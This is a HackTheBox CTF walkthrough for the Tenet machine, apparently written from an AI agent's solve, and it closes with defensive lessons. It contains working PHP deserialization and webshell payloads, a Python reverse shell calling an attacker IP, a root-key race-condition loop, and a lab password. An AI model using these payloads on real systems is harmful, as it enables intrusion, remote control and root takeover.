HTB: Tenet Writeup
Tenet - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Tenet |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.170 |
| Author | egotisticalSW |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Tenet is a Medium-difficulty Linux machine that demonstrates the dangers of insecure deserialization in PHP and race conditions in privilege escalation vectors. The attack path begins with discovering a backup PHP file containing vulnerable code that uses unserialize() on user-controlled input. By crafting a serialized PHP object, attackers can achieve arbitrary file write leading to remote code execution as www-data. Lateral movement to user neil is achieved through password reuse found in WordPress configuration files. Finally, privilege escalation to root exploits a race condition in a sudo-enabled bash script that writes SSH keys to root’s authorized_keys file using an unsafe temporary file creation pattern.
TL;DR: Backup PHP file disclosure → PHP object injection via unserialize() → webshell upload → WordPress credentials (neil:Opera2112) → race condition in enableSSH.sh sudo script → root SSH access.
Reconnaissance
Port Scanning
# Initial port scannmap -sC -sV -T4 -p- 10.129.43.170Results:
- 22/tcp - OpenSSH (version not specified in agent log)
- 80/tcp - Apache HTTP Server
Service Enumeration
HTTP Service (Port 80)
The web server on port 80 hosts an Apache default page at the root, but further enumeration reveals a WordPress installation. The WordPress site references a hostname tenet.htb that must be added to /etc/hosts for proper access.
# Add hostname to hosts fileecho "10.129.43.170 tenet.htb" >> /etc/hostsWithin the WordPress blog, a comment mentions a file called sator.php and references a backup that should have been removed. Testing for common backup extensions reveals the source code:
# Download the backup filewget http://10.129.43.170/sator.php.bakVulnerability Assessment
Critical Findings:
-
PHP Insecure Deserialization - The
sator.php.bakfile reveals vulnerable code:- Uses
unserialize($_GET['arepo'])on user-controlled input - Contains a
DatabaseExportclass with a__destruct()magic method - The destructor calls
file_put_contents()with controllable file path and data - This enables arbitrary file write through object injection
- Uses
-
Credential Exposure - WordPress configuration file readable by web server user
-
Sudo Misconfiguration - Script with race condition vulnerability in privilege escalation path
Initial Foothold
PHP Object Injection Exploitation
The sator.php.bak file contains the following vulnerable code structure:
class DatabaseExport{ public $user_file = 'users.txt'; public $data = '';
public function __destruct() { file_put_contents(__DIR__ . '/' . $this->user_file, $this->data); echo '[] Database updated <br>'; }}
$input = $_GET['arepo'] ?? '';$databaseupdate = unserialize($input);Why this is vulnerable:
- When PHP unserializes user input, it reconstructs objects with attacker-controlled properties
- The
__destruct()magic method is automatically called when the object is destroyed - By controlling
$user_fileand$data, we can write arbitrary content to arbitrary files
Generating the Exploit Payload
Create a serialized object that writes a PHP webshell:
<?phpclass DatabaseExport{ // Target filename for our webshell public $user_file = 'attack.php';
// Webshell code that executes system commands public $data = '<?php system($_GET["cmd"]);?>';}
// Serialize the malicious object$payload = new DatabaseExport;echo serialize($payload);?>This generates the following serialized payload:
O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET["cmd"]);?>";}Payload breakdown:
O:14:"DatabaseExport":2:- Object of class DatabaseExport with 2 propertiess:9:"user_file";s:10:"attack.php"- String property user_file = “attack.php”s:4:"data";s:29:"<?php system($_GET["cmd"]);?>"- String property data = webshell code
Deploying the Webshell
# Send the serialized payload via GET parametercurl 'http://10.129.43.170/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[%22cmd%22]);?>";}'
# Verify webshell was created and test command executioncurl 'http://10.129.43.170/attack.php?cmd=id'# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)The successful id command confirms we have remote code execution as the www-data user.
Establishing Interactive Shell
# Verify Python3 is availablecurl 'http://10.129.43.170/attack.php?cmd=which+python3'
# Set up listener on attacking machinenc -lvnp 4444
# Execute reverse shell payload through webshell# URL-encoded Python reverse shellcurl 'http://10.129.43.170/attack.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.x%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27'Lateral Movement (www-data → neil)
WordPress Configuration Enumeration
WordPress stores database credentials in wp-config.php. As www-data, we have read access:
# Read WordPress configuration filecat /var/www/html/wordpress/wp-config.phpCredentials discovered:
define( 'DB_NAME', 'wordpress' );define( 'DB_USER', 'neil' );define( 'DB_PASSWORD', 'Opera2112' );Why this works:
Database credentials are often reused for system accounts, especially in smaller deployments or CTF-style environments. The username neil matches a system user.
SSH Access as neil
# Test credential reuse via SSHssh neil@10.129.43.170# Password: Opera2112
# Successful authenticationneil@tenet:~$ iduid=1001(neil) gid=1001(neil) groups=1001(neil)
# Capture user flagneil@tenet:~$ cat user.txt<redacted>Privilege Escalation (neil → root)
Sudo Enumeration
# Check sudo privilegesneil@tenet:~$ sudo -l
# Output shows:# User neil may run the following commands on tenet:# (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.shThe user neil can execute /usr/local/bin/enableSSH.sh as root without a password.
Script Analysis
# Review the sudo-enabled scriptcat /usr/local/bin/enableSSH.shKey vulnerable sections:
#!/bin/bash
addKey() { # VULNERABILITY 1: mktemp -u creates filename without creating file tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
# VULNERABILITY 2: umask 110 makes file world-writable (permissions 666) (umask 110; touch $tmpName)
# VULNERABILITY 3: Double >> allows appending instead of overwriting /bin/echo $key >>$tmpName
checkFile $tmpName
# File contents written to root's authorized_keys /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName}
key="ssh-rsa AAAAA3NzaC1yc2G... root@ubuntu"addKeyRace Condition Vulnerability:
mktemp -ugenerates a filename but doesn’t create the file (unsafe per man page)- Small time window exists between filename generation and file creation
umask 110results in permissions that allow world-write access- An attacker can create the file first and continuously overwrite it
- If timed correctly, attacker’s SSH key gets written to
/root/.ssh/authorized_keys
Exploitation Strategy
Attack flow:
- Generate attacker’s SSH key pair
- Create a loop that continuously writes attacker’s public key to
/tmp/ssh-*files - Run
enableSSH.shrepeatedly as sudo - When timing aligns, attacker’s key lands in root’s authorized_keys
Generate SSH Keys
# Generate new SSH key pair on attacking machinessh-keygen -f rootkey -N ""# Creates rootkey (private) and rootkey.pub (public)
# Copy public key content for exploitationcat rootkey.pubRace Condition Exploit Loop
Create a script to continuously overwrite temporary SSH files:
#!/bin/bash# race_exploit.sh - Continuously overwrite /tmp/ssh-* files with our public key
while true; do for file in /tmp/ssh-*; do if [ -f "$file" ]; then # Replace contents with our SSH public key echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@kali root@ubuntu" > "$file" fi donedoneAlternative approach (as mentioned in agent solve): Use a background loop to continuously monitor and overwrite the temp file while running enableSSH.sh in a separate loop.
Execution
# On target as neil - Start the race condition exploit in backgroundneil@tenet:~$ while true; do for f in /tmp/ssh-*; do [ -f "$f" ] && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... root@ubuntu" > "$f"; done; done &
# In another terminal session - Run the sudo script repeatedlyneil@tenet:~$ while true; do sudo /usr/local/bin/enableSSH.sh; done
# Monitor for success message:# Successfully added root@ubuntu to authorized_keys file!Why this works:
- The background loop runs thousands of iterations per second
- Each
enableSSH.shexecution creates a brief window where the temp file exists - Eventually, timing aligns: our key overwrites the temp file before
catreads it - Our public key gets appended to
/root/.ssh/authorized_keys - The “root@ubuntu” comment in our key satisfies the script’s validation check
Root Access
# SSH as root using our private keyssh -i rootkey root@10.129.43.170
root@tenet:~# iduid=0(root) gid=0(root) groups=0(root)
# Capture root flagroot@tenet:~# cat /root/root.txt<redacted>Attack Chain Summary
Port 80 enumeration → sator.php.bak discovery → PHP object injection payload crafted →attack.php webshell deployed (www-data) → wp-config.php enumeration → neil:Opera2112 credentials →SSH as neil → sudo -l reveals enableSSH.sh → race condition exploit →root SSH key injection → root accessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl/wget | HTTP requests and file downloads |
php | Generating serialized exploit payload |
ssh-keygen | Creating SSH key pairs for root access |
bash | Scripting the race condition exploit |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- PHP object injection - Exploiting
unserialize()on user input - Magic method abuse - Leveraging
__destruct()for arbitrary file write - Credential enumeration - Mining configuration files for reused passwords
- Race condition exploitation - Timing attacks on file system operations
- Sudo abuse - Leveraging NOPASSWD scripts with vulnerabilities
Lessons Learned
-
Never trust user input to unserialize() - PHP’s
unserialize()function is extremely dangerous when used on untrusted data. Always validate and sanitize input, or better yet, use safer serialization formats like JSON. The__destruct()magic method combined with controllable properties creates a powerful arbitrary file write primitive. -
Backup files are security risks - Leaving
.bak,.old, or other backup files in web-accessible directories exposes source code and internal logic. Implement proper deployment procedures that exclude backup files, and configure web servers to deny access to common backup extensions. -
mktemp -u is unsafe by design - The
-uflag creates a race condition by printing a filename without atomically creating the file. Always usemktempwithout-uto ensure atomic file creation. The man page explicitly warns about this. -
umask affects security - A
umaskof110results in file permissions of666(world-readable and writable). When creating temporary files, especially as root, use restrictive permissions (e.g.,umask 077for600permissions). -
Credential reuse is common - Database credentials, especially in WordPress installations, are frequently reused for system accounts. Always test discovered credentials against SSH, su, and other authentication mechanisms during privilege escalation.
-
Race conditions require persistence - Exploiting race conditions often requires running exploit loops hundreds or thousands of times before the timing aligns. Automation and patience are key to successful exploitation.
-
Temporary file handling requires care - Scripts that handle temporary files in shared directories (
/tmp) need to:- Use atomic file creation (
mktempwithout-u) - Set restrictive permissions (umask 077)
- Validate file ownership before reading
- Be aware of TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities
- Use atomic file creation (
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory detail and vulnerability analysis was informed by the official HackTheBox writeup for Tenet (Document No D21.100.122), prepared by TRX, while all specific command outputs, IP addresses, and procedural steps reflect the author’s actual penetration test against the live target.